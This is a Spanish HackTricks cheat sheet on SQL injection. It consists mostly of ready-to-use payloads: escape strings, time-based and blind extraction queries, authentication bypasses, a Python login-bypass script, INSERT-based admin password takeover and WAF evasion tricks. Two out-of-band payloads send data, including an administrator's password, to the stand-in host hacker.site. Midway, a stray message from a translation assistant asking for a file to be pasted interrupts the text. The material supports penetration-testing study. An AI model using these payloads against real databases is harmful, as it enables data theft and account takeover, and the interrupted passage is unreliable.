SQL Injection

Reading time: 23 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es SQL injection?

Una SQL injection es una falla de seguridad que permite a los atacantes interferir con las consultas a la base de datos de una aplicación. Esta vulnerabilidad puede permitir a los atacantes ver, modificar o eliminar datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en el compromiso del servidor o en una denegación de servicio.

Detección del punto de entrada

Cuando un sitio parece ser vulnerable a SQL injection (SQLi) debido a respuestas inusuales del servidor a entradas relacionadas con SQLi, el primer paso es entender cómo inyectar datos en la consulta sin interrumpirla. Esto requiere identificar el método para escapar del contexto actual de forma efectiva. Estos son algunos ejemplos útiles:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Entonces, necesitas saber cómo arreglar la consulta para que no haya errores. Para arreglar la consulta puedes introducir datos para que la consulta anterior acepte los nuevos datos, o puedes simplemente introducir tus datos y añadir un símbolo de comentario al final.

Nota: si puedes ver mensajes de error o detectar diferencias cuando una consulta funciona y cuando no, esta fase será más fácil.

Comentarios

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmación con operaciones lógicas

Un método fiable para confirmar una vulnerabilidad de SQL injection consiste en ejecutar una operación lógica y observar los resultados esperados. Por ejemplo, un GET parameter como ?username=Peter que devuelve contenido idéntico cuando se modifica a ?username=Peter' or '1'='1 indica una vulnerabilidad de SQL injection.

De manera similar, la aplicación de operaciones matemáticas sirve como técnica de confirmación eficaz. Por ejemplo, si acceder a ?id=1 y ?id=2-1 produce el mismo resultado, es indicativo de SQL injection.

Ejemplos que demuestran la confirmación mediante operaciones lógicas:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Esta lista de palabras fue creada para intentar confirmar SQLinjections de la forma propuesta:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Confirmando con temporización

En algunos casos no verás ningún cambio en la página que estás probando. Por eso, una buena manera de descubrir blind SQL injections es hacer que la DB realice acciones que tengan un impacto en el tiempo que necesita la página para cargarse.
Por lo tanto, vamos a concat en la SQL query una operación que tardará mucho tiempo en completarse:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

En algunos casos las sleep functions no estarán permitidas. Entonces, en lugar de usar esas funciones podrías hacer que la consulta realice operaciones complejas que tarden varios segundos. Los ejemplos de estas técnicas se comentarán por separado en cada tecnología (si procede).

Identifying Back-end

La mejor forma de identificar el back-end es intentando ejecutar funciones de los distintos back-ends. Puedes usar las sleep functions de la sección anterior o estas (tabla de payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

También, si tienes acceso a la salida de la consulta, podrías hacer que imprima la versión de la base de datos.

tip

A continuación vamos a discutir diferentes métodos para explotar distintos tipos de SQL Injection. Usaremos MySQL como ejemplo.

Identificando con PortSwigger

SQL injection cheat sheet | Web Security Academy

Explotando Union Based

Detectando el número de columnas

Si puedes ver la salida de la consulta esta es la mejor forma de explotarla.
Primero, necesitamos averiguar el número de columnas que la solicitud inicial está devolviendo. Esto es porque ambas consultas deben devolver el mismo número de columnas.
Típicamente se usan dos métodos para este propósito:

Order/Group by

Para determinar el número de columnas en una consulta, ajusta incrementalmente el número usado en las cláusulas ORDER BY o GROUP BY hasta que se reciba una respuesta falsa. A pesar de las funcionalidades distintas de GROUP BY y ORDER BY dentro de SQL, ambos pueden utilizarse idénticamente para averiguar el conteo de columnas de la consulta.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Selecciona más y más null values hasta que la query sea correcta:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Debes usar null valores ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos.

Extraer nombres de bases de datos, nombres de tablas y nombres de columnas

En los próximos ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de las tablas de una base de datos, los nombres de las columnas de la tabla:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Hay una forma distinta de descubrir estos datos en cada base de datos diferente, pero la metodología siempre es la misma.

Exploiting Hidden Union Based

Cuando la salida de una consulta es visible, pero una union-based injection parece inalcanzable, esto indica la presencia de una hidden union-based injection. Este escenario suele desembocar en una situación de blind injection. Para transformar una blind injection en una union-based, es necesario discernir la consulta que se ejecuta en el backend.

Esto se puede lograr mediante el uso de blind injection techniques junto con las tablas por defecto específicas de tu DBMS. Para entender estas tablas por defecto, se recomienda consultar la documentación del DBMS objetivo.

Una vez extraída la consulta, es necesario adaptar tu payload para cerrar de forma segura la consulta original. A continuación, se añade una union query a tu payload, lo que facilita la explotación de la union-based injection recién accesible.

Para obtener más información, consulta el artículo completo en Healing Blind Injections.

Exploiting Error based

Si por alguna razón no puedes ver la salida de la consulta pero sí puedes ver los mensajes de error, puedes hacer que estos mensajes de error ex-filtrate datos desde la base de datos.
Siguiendo un flujo similar al de la explotación Union Based, podrías conseguir dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

En este caso no puedes ver los resultados de la query ni los errores, pero puedes distinguir cuándo la query devuelve un true o un false porque hay contenidos diferentes en la página.
En este caso, puedes abusar de ese comportamiento para dump the database char by char:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Explotando Error Blind SQLi

Este es el mismo caso que antes pero en lugar de distinguir entre una respuesta true/false de la consulta puedes distinguir entre un error en la consulta SQL o no (quizá porque el servidor HTTP se cae). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Explotando Time Based SQLi

En este caso no hay ninguna forma de distinguir la respuesta de la consulta basándose en el contexto de la página. Pero, puedes hacer que la página tarde más en cargar si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Puedes usar stacked queries para ejecutar múltiples consultas en sucesión. Ten en cuenta que, aunque las consultas posteriores se ejecuten, los resultados no se devuelven a la aplicación. Por lo tanto, esta técnica es principalmente útil en relación con blind vulnerabilities donde puedes usar una segunda consulta para desencadenar una consulta DNS, un error condicional o un retardo temporal.

Oracle no soporta stacked queries. MySQL, Microsoft y PostgreSQL las soportan: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Si ningún otro método de explotación funcionó, puedes intentar que la database ex-filtrate la información a un host externo controlado por ti. Por ejemplo, mediante consultas DNS:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltración de datos fuera de banda vía XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Explotación automatizada

Consulta la SQLMap Cheatsheet para explotar una vulnerabilidad SQLi con sqlmap.

Información específica por tecnología

Ya hemos explicado todas las formas de explotar una vulnerabilidad SQL Injection. Encuentra más trucos dependientes de la tecnología de base de datos en este libro:

O también encontrarás muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lista para intentar un bypass de la funcionalidad de login:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Esta consulta muestra una vulnerabilidad cuando MD5 se usa con true para raw output en las comprobaciones de autenticación, lo que hace que el sistema sea susceptible a SQL injection. Los atacantes pueden explotarla creando entradas que, al ser hashadas, produzcan partes inesperadas de comandos SQL y permitan acceso no autorizado.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

You should use as username each line of the list and as password always: Pass1234.
(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)

GBK Authentication Bypass

Si ' está siendo escapado puedes usar %A8%27, y cuando ' se escape se generará: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontexto)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Sentencia INSERT

Modificar la contraseña de un objeto/usuario existente

Para ello deberías intentar crear un nuevo objeto con el mismo nombre que el "objeto maestro" (probablemente admin en el caso de usuarios) modificando algo:

  • Crear usuario llamado: AdMIn (mayúsculas y minúsculas)
  • Crear un usuario llamado: admin=
  • SQL Truncation Attack (cuando hay algún tipo de límite de longitud en el username o email) --> Crear usuario con nombre: admin [a lot of spaces] a

SQL Truncation Attack

Si la base de datos es vulnerable y el número máximo de caracteres para el username es por ejemplo 30 y quieres suplantar al usuario admin, intenta crear un username llamado: "admin [30 spaces] a" y cualquier password.

La base de datos va a comprobar si el username introducido existe dentro de la base de datos. Si no, va a truncar el username al número máximo de caracteres permitido (en este caso a: "admin [25 spaces]") y luego eliminará automáticamente todos los espacios finales actualizando dentro de la base de datos el usuario "admin" con la nueva contraseña (puede aparecer algún error pero eso no significa que no haya funcionado).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Comprobación basada en tiempo de MySQL INSERT

Añade tantos ','','' como consideres para salir de la cláusula VALUES. Si se ejecuta el delay, tienes una SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La cláusula ON DUPLICATE KEY UPDATE en MySQL se utiliza para especificar las acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un UNIQUE index o PRIMARY KEY. El siguiente ejemplo demuestra cómo esta característica puede explotarse para modificar la contraseña de una cuenta de administrador:

Ejemplo de Payload Injection:

Un payload de inyección podría confeccionarse de la siguiente manera, donde se intenta insertar dos filas en la tabla users. La primera fila es un señuelo, y la segunda fila apunta al email de un administrador existente con la intención de actualizar la contraseña:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Así es como funciona:

  • La consulta intenta insertar dos filas: una para generic_user@example.com y otra para admin_generic@example.com.
  • Si la fila para admin_generic@example.com ya existe, se activa la cláusula ON DUPLICATE KEY UPDATE, indicando a MySQL que actualice el campo password de la fila existente a "bcrypt_hash_of_newpassword".
  • En consecuencia, se puede intentar la autenticación usando admin_generic@example.com con la contraseña correspondiente al hash bcrypt ("bcrypt_hash_of_newpassword" representa el hash bcrypt de la nueva contraseña, que debe reemplazarse por el hash real de la contraseña deseada).

Extraer información

Crear 2 cuentas al mismo tiempo

Al intentar crear un nuevo usuario, se necesitan username, password y email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal o hexadecimal

Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante notar que no necesitas comentar nada.

Usando hex2dec y substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Por favor pega aquí el contenido del archivo src/pentesting-web/sql-injection/README.md o indica cómo puedo recuperarlo; luego lo traduciré al español manteniendo la sintaxis markdown/html y las reglas que indicaste.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex y replace (y substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection es una situación en la que la consulta inyectable no es la que devuelve la salida, sino que la salida de la consulta inyectable se pasa a la consulta que sí la devuelve. (From Paper)

Ejemplo:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass usando alternativas de espacios en blanco

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando comentarios

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando paréntesis

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM y JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Evasiones genéricas

Lista negra usando palabras clave - evadir usando mayúsculas/minúsculas

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando keywords sin distinguir mayúsculas - bypass usando un operador equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass WAF con notación científica

Puedes encontrar una explicación más detallada de este truco en gosecure blog.
Básicamente puedes usar la notación científica de maneras inesperadas para el bypass del WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Eludir la restricción de nombres de columnas

Primero, ten en cuenta que si la consulta original y la tabla de la que quieres extraer la flag tienen la misma cantidad de columnas podrías simplemente hacer: 0 UNION SELECT * FROM flag

Es posible acceder a la tercera columna de una tabla sin usar su nombre usando una consulta como la siguiente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, así que en un sqlinjection esto se vería así:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

O usando un comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truco fue tomado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Si la entrada del usuario se concatena en la lista SELECT o en los identificadores de table/column, prepared statements no ayudarán porque bind parameters solo protegen valores, no identificadores. Un patrón vulnerable común es:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Idea de explotación: inyectar una subconsulta en la posición del campo para exfiltrar datos arbitrarios:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Notas:

  • Esto funciona incluso cuando la WHERE clause utiliza un bound parameter, porque la identifier list sigue siendo string-concatenated.
  • Algunas stacks además permiten controlar el table name (tablename injection), habilitando cross-table reads.
  • Los Output sinks pueden reflejar el valor seleccionado en HTML/JSON, permitiendo XSS o token exfiltration directamente desde la respuesta.

Mitigaciones:

  • Nunca concatenes identifiers desde user input. Map allowed column names a una allow-list fija y quote identifiers correctamente.
  • Si se requiere acceso dinámico a tablas, restringe a un conjunto finito y resuélvelo server-side desde un mapeo seguro.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Otros guías

Lista de detección de fuerza bruta

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks